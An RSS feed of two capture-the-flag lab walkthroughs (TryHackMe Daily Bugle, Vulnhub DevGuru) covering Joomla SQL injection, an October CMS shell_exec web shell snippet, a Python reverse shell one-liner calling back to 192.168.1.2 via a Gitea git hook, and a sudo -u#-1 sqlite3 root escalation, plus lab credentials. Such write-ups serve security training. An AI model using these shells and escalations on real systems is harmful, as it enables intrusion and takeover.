<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cripper on Medium]]></title>
        <description><![CDATA[Stories by Cripper on Medium]]></description>
        <link>https://medium.com/@Cripper?source=rss-969240066196------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*gQm2AedvEwvVx56B</url>
            <title>Stories by Cripper on Medium</title>
            <link>https://medium.com/@Cripper?source=rss-969240066196------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 09:30:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Cripper/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Daily Bugle — Tryhackme | by Cripper]]></title>
            <link>https://medium.com/@Cripper/daily-bugle-tryhackme-by-cripper-9c1bce2ea9ed?source=rss-969240066196------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c1bce2ea9ed</guid>
            <dc:creator><![CDATA[Cripper]]></dc:creator>
            <pubDate>Sat, 29 Jul 2023 21:02:58 GMT</pubDate>
            <atom:updated>2023-07-29T21:02:58.745Z</atom:updated>
            <content:encoded><![CDATA[<h3>Daily Bugle — Tryhackme | by Cripper</h3><p>Description:</p><p>Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.</p><p>Difficulty: Hard</p><h3>Nmap Scan Result:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*U5pn95hxZGodhIqZohsCZQ.png" /></figure><h4>visiting the web server:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*bAYfe2bzG1FzM87A62nh_g.png" /></figure><p>#Access the web server, who robbed the bank?</p><p>~ spiderman</p><p>Now finding the directories with gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*_VJtsO9lmrQ3i22YkCUi0g.png" /></figure><p>Got a /administrator directory, after visiting the directory got a joomla login form.</p><p>After further enumeration I got a way to get the <a href="https://docs.joomla.org/How_to_check_the_Joomla_version%3F">joomla version</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*OD-G9vllqY9pqVC6-f01gA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*VS7F4CNQndYsgMip66MqVQ.png" /></figure><p>After searching for vulnerability in the current version, found out it is vulnerable to <a href="https://github.com/stefanlucas/Exploit-Joomla">SQL Injection</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*WwOKxDNEkNohc5vQBC1smA.png" /></figure><p>After running the script I got the credential for jonah</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*mBHw7HnyB_V5yyBYh_HTfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*XXfXjEg2J2GIX0xdpawb7Q.png" /></figure><p>Cracking the password with JohnTheRipper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*lPWi5GvRyO6JuOp-kuz6jA.png" /></figure><p>After login into joomla, I found out that we can run <a href="https://github.com/pentestmonkey/php-reverse-shell">php reverse shell</a> in joomla <a href="https://www.hackingarticles.in/joomla-reverse-shell/">#Article</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ElMvaMlyV2mLxOsaPL3oDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Af-gB0R8iFX_6HUucY0egQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Mh8ilonVFev2ozA8LGrChw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Hn4sSlE89rRy1CcW6gBWWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kFtTzxixuauhMw8CNepxlA.png" /></figure><p>Start a listening port with netcat then save the file and click on Template preview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ppg6IHKRd5LgizcKqqXSSg.png" /></figure><p>Now we got a reverse shell</p><p>After that in /var/www/html we got file configuration.php and there we got some credential.</p><p>Trying the password for both root and user, we got logged into the user jjameson</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*qI-dHXD9J8dMIeXpo3L8ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*wnlj2kZdayNBkdIJh8j-Yg.png" /></figure><p>Then we tried sudo -l command and found out that <strong>yum</strong> can be run with root privilage</p><p>Searching the privilege escalation scripts in <a href="https://gtfobins.github.io/gtfobins/yum/#sudo"><strong>GTFOBing</strong></a> and applying those script we got the root user shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*_AkEf5awUPPm7bDprzf1Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*BPvNgTJDRU84Uo_zarjDdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*a8N9SKiUHmPVBuLqFzCp8w.png" /></figure><p>Mitigation:</p><ol><li>Update the joomla server to latest version. Always keep the server upto to date.</li><li>Do not use the multiple passords for same account.</li><li>Disable command that are run with root privilege if it is not necessary.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c1bce2ea9ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DevGuru — Vulnhub]]></title>
            <link>https://medium.com/@Cripper/devguru-vulnhub-fec017747752?source=rss-969240066196------2</link>
            <guid isPermaLink="false">https://medium.com/p/fec017747752</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Cripper]]></dc:creator>
            <pubDate>Wed, 26 Jul 2023 17:43:54 GMT</pubDate>
            <atom:updated>2023-07-26T17:43:54.976Z</atom:updated>
            <content:encoded><![CDATA[<h3>DevGuru — Vulnhub</h3><h3>Description</h3><p><a href="https://www.vulnhub.com/entry/devguru-1,620/">DevGuru</a> is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.</p><p>OSCP like ~ Real life based</p><p>Difficulty: Intermediate (Depends on experience)</p><h3><strong>Nmap Scan Results:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*4uw9sae6tznGhYzYv4GDlw.png" /></figure><h4>Add the devguru.local to hosts in kali (/etc/hosts)</h4><h3>.Git Repositories Enumeration</h3><p>Tools Used : <a href="https://github.com/internetwache/GitTools">GitTools</a> (<a href="https://github.com/internetwache/GitTools/tree/master/Dumper">gitdumper.py</a>, <a href="https://github.com/internetwache/GitTools/tree/master/Extractor">extractor.py</a>)</p><p><strong>Exploit code: ./gitdumper.sh </strong><a href="http://devguru.local/.git/"><strong>http://devguru.local/.git/ </strong></a><strong>website</strong></p><p>./extractor.sh website extract_website</p><p><strong>Contents:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*lkc53UbA73TjOAuVpXCh-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*OQuYIE6IorN7202Xsb1h9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*eeg3VeFgDS5xQneS3MFK5g.png" /></figure><p><strong>Database Enumeration:</strong></p><p><strong>url : </strong><a href="http://devguru.local/adminer.php"><strong>http://devguru.local/adminer.php</strong></a></p><p><strong>Credential:</strong></p><p><strong>User: October</strong></p><p><strong>Password: SQ66EBYx4GT3byXH</strong></p><p><strong>POC:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*fpXLwuIe1DTnuKQV-mCX1A.png" /></figure><p><strong>In the backend_users table I saw the record for user “Frank” here I found the password in the encrypted form and this record could be modified using the edit tab.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*A9o00uIGZUNiewW8K0zy4w.png" /></figure><h4>Here I check the password is encrypted using the <a href="https://bcrypt-generator.com/">bcrypt</a> algorithm.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*Q5OjpiBptrP3UeSwV0PmEw.png" /></figure><p>So, I try to generate a new password “<strong>mypassword</strong>” by using bcrypt-hash-generator. Thus, I edit the record for the user frank and updated the table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*dh20IyR9jPJA08dy8tHJmw.png" /></figure><h3>Initial Foothold:</h3><p>url: <a href="http://devguru.local/backend/backend/auth/signin">http://devguru.local/backend/backend/auth/signin</a></p><p>Credential:</p><p>User: frank</p><p>Password: mypassword</p><h4>It’s time to exploit the CMS, its dashboard looks interesting to me where I found a console for executing code. Thus, I googled and found a <a href="https://octobercms.com/forum/post/running-php-code-on-pages">link </a>to exploit October CMS by executing PHP code. So I execute the following code :</h4><pre>function onStart(){<br>$this-&gt;page[&quot;myVar&quot;] = shell_exec($_GET[&#39;cmd&#39;]);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*bUGlgIdjWqhpfrQc3ynPZw.png" /></figure><h4>Then execute the following code inside the Makeup console.</h4><pre>{{ page.this.myVar }}</pre><h4>Now save the code and click on the preview for executing malicious code.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*OsDq6XYbDql974CdBtUfiw.png" /></figure><p>When you will explore the source page of the <a href="http://devguru.local/?cmd=ls-al"><strong>http://devguru.local?cmd=ls-al </strong></a>it will list all directories as shown in the following directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*_iCoLyYT9T9d6lmz6mV-Zw.png" /></figure><p>Let’s transfer the malicious payload and gain a initial access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Zl4foEPsoHz09nfg6yhKZA.png" /></figure><h3>Post-Exploitation:</h3><h4>Download the <a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh/">linenum.sh</a> script from github and transfer it to targer machine then run it ./linenum.sh</h4><h4>Info:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*fXjiU1dIbRhOwDRAnpsMkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*7LivygzU6vNwV99Oz2udYw.png" /></figure><p>Then we login mysql as <strong>gitea:UfFPTF8C8jjxVF2m</strong></p><p>In the gitea DB inside the user, the table contains the user:frank and again change the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*CY1KIHUH-MIUny2UWya9Iw.png" /></figure><p>Then I navigated into <a href="http://devguru.local:8585/">http://devguru.local:8585</a> and login with <strong>frank:mypassword</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*1pcdT27uKVIoMj38xxWwyA.png" /></figure><p>Here we got the dashboard and found a link for frank/devguru-website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*TgjYx01VHyyP5HpwN89R1Q.png" /></figure><p>Click on the settings highlighted in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*laMo9mQC5FM6Yfbx4FqobQ.png" /></figure><p>Click on the <strong>Git Hooks &gt; pre-receive &gt; Hook Content </strong>and then execute the python reverse shell and the code.</p><p><em>python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con nect((“192.168.1.2”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*6B2cDrqibC8rNovfI-zBXw.png" /></figure><p>But you need to update the repo for executing the python code, thus go back to the repository and open the README.md</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*T4ts_tF35hCzm4hBqfziAw.png" /></figure><p>Now edit the file by adding some blank line at the end of the file and Click Commit Change as soon as you will click on commit the change it will update the repository and you will get a reverse connection through netcat session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*j38Oy-v-SNnRlCQ-xTISRQ.png" /></figure><p>Thus, we got the reverse connection where we found the user.txt file which was our 1st flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*qPDzVb7uQcXmwTeClRcXFg.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>Then, for escalating the privileges we check for Sudo right and found user frank can run sqlite3 with root privileges also the installed version of the sudoers plugin is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*v9V3SUYkK_4h5TTao6ZTMg.png" /></figure><p>We have found an exploit from <a href="https://www.exploit-db.com/exploits/47502"><strong>here</strong>.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*0tys2rqEMJLNTZgS1eQ_jA.png" /></figure><p>Then I execute the following command to obtain the root privilege shell and read the root.txt which was our final flag.</p><pre>sudo -u#-1 sqlite3 /dev/null &#39;.shell /bin/bash&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*UTidYSU-plDL-NOmlCC27w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fec017747752" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>